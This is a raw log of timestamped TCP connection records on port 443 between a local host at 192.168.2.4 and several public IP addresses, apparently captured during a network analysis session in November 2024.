Nov 19, 2024 00:01:24.739372969 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.739489079 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.743377924 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.743585110 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.743655920 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.747200012 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.747287989 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.747836113 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.747982025 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.748099089 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.760154009 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.760426998 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.760449886 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.761370897 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.761449099 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.763011932 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.763062000 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.763508081 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.763514042 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.777576923 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.777597904 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.783360958 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.791351080 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.793189049 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.793205976 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.793210983 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.793251991 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.793275118 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.810069084 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.813170910 CET	443	49739	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.818914890 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.840724945 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.840743065 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.840769053 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.843288898 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:24.843844891 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:24.843904972 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:24.847331047 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:24.847492933 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:24.847855091 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:24.847938061 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:24.848062038 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:24.848078966 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:24.855974913 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.856165886 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.856254101 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.856282949 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.856314898 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.856374025 CET	49739	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:24.856400013 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.856410980 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.856437922 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.856502056 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.856524944 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857109070 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857202053 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857266903 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.857281923 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857346058 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.857358932 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857743025 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857805967 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.857819080 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857918024 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.857983112 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.857995033 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.858083963 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.858165979 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.858227015 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.858239889 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.858295918 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.858558893 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.859333038 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:24.863543034 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.863579988 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.863640070 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.863682032 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.863728046 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.864308119 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.864336014 CET	443	49752	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.864600897 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.864629030 CET	49752	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.865175962 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.865264893 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.865331888 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.865355968 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.865392923 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.865457058 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.876422882 CET	49750	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.876447916 CET	443	49750	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.892781973 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.892993927 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.893955946 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.894056082 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.894242048 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.894824028 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.897443056 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.897521973 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.897542000 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.903269053 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:24.914479017 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.914514065 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.914613962 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.915335894 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.915410995 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.915482044 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.916299105 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.916328907 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.916815996 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.916843891 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.927150011 CET	49751	443	192.168.2.4	13.107.246.64
Nov 19, 2024 00:01:24.927174091 CET	443	49751	13.107.246.64	192.168.2.4
Nov 19, 2024 00:01:24.930646896 CET	49755	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.930680037 CET	443	49755	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.950488091 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.954379082 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.954392910 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.954454899 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.962146044 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.962157965 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.969698906 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.969785929 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.969922066 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.970355034 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:24.970393896 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:24.976335049 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.976501942 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.976567984 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.976586103 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.976674080 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.976761103 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.976764917 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.976787090 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.976921082 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.976934910 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977030039 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977088928 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.977102041 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977195978 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977262020 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.977274895 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977298975 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977363110 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.977375031 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.977432013 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.978168964 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.978249073 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.978269100 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.978322983 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.978359938 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.978434086 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.978455067 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.978523016 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.978982925 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.979067087 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.979150057 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.979213953 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.979877949 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.979950905 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.979981899 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:24.980047941 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:24.992335081 CET	443	49746	50.87.233.27	192.168.2.4
Nov 19, 2024 00:01:25.017755985 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.017834902 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.017858982 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.017874956 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.017909050 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.017930984 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.036644936 CET	49746	443	192.168.2.4	50.87.233.27
Nov 19, 2024 00:01:25.040241957 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.040610075 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.040671110 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.040905952 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.041548967 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.041593075 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.042402983 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.042491913 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.043241978 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.043327093 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.044609070 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.044703960 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.046406031 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.046505928 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.046778917 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.046797991 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.047111034 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.047131062 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.094113111 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.094861031 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.096534014 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.096643925 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.096662045 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.096724987 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.096745014 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.096821070 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.100349903 CET	49747	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.100373030 CET	443	49747	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.170603991 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.170659065 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.170747042 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.171076059 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.171103954 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.172046900 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.172092915 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.172611952 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.173177004 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.173203945 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.214603901 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214651108 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214673042 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214693069 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214721918 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.214732885 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214755058 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214766979 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.214781046 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.214804888 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.214838982 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.214838982 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.216249943 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.216291904 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.216361046 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.216383934 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.216418982 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.218461990 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.273780107 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.273926020 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.274017096 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.274034977 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.274077892 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.274158955 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.276072025 CET	49753	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.276106119 CET	443	49753	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.279563904 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.294841051 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.294883013 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.295039892 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.295455933 CET	49765	443	192.168.2.4	152.199.21.175
Nov 19, 2024 00:01:25.295474052 CET	443	49765	152.199.21.175	192.168.2.4
Nov 19, 2024 00:01:25.325625896 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.334498882 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.334553003 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.334595919 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.334613085 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.334650993 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.334660053 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.334693909 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.334707975 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.334834099 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.334903955 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.335426092 CET	49749	443	192.168.2.4	13.35.58.71
Nov 19, 2024 00:01:25.335453033 CET	443	49749	13.35.58.71	192.168.2.4
Nov 19, 2024 00:01:25.399516106 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399543047 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399591923 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399605036 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.399624109 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399645090 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399660110 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.399672985 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399682045 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.399714947 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.399718046 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.399787903 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.400288105 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.400360107 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.400376081 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.400439978 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.400650024 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.400711060 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.405710936 CET	49748	443	192.168.2.4	192.229.133.221
Nov 19, 2024 00:01:25.405728102 CET	443	49748	192.229.133.221	192.168.2.4
Nov 19, 2024 00:01:25.663283110 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.663676023 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.663739920 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.665226936 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.665312052 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.666016102 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.666100979 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.666480064 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.666496992 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.670239925 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.670871019 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.670893908 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.674525976 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.674612045 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.675630093 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.675715923 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.676162004 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.676175117 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.703741074 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.703990936 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.704005003 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.707469940 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.707535028 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.708095074 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.708178043 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.708427906 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.708441019 CET	443	49759	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.715889931 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.716345072 CET	49757	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.724404097 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.724755049 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.724812984 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.726583004 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.726661921 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.726960897 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.727052927 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.727154970 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.727171898 CET	443	49760	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.749857903 CET	49759	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.791194916 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.791474104 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.791500092 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.793987036 CET	49760	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.794548035 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.794893026 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.794939995 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.795726061 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.795806885 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.796468973 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.796546936 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.797487974 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.797581911 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.798028946 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.798137903 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.798388004 CET	49762	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.798403025 CET	443	49762	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.798549891 CET	49763	443	192.168.2.4	104.17.25.14
Nov 19, 2024 00:01:25.798567057 CET	443	49763	104.17.25.14	192.168.2.4
Nov 19, 2024 00:01:25.798953056 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.799014091 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.799079895 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.799118996 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.799170971 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.799226046 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.807509899 CET	49758	443	192.168.2.4	13.107.246.45
Nov 19, 2024 00:01:25.807544947 CET	443	49758	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.810214043 CET	443	49757	13.107.246.45	192.168.2.4
Nov 19, 2024 00:01:25.810297012 CET	443	49757	13.107.246.45	192.168.2.4
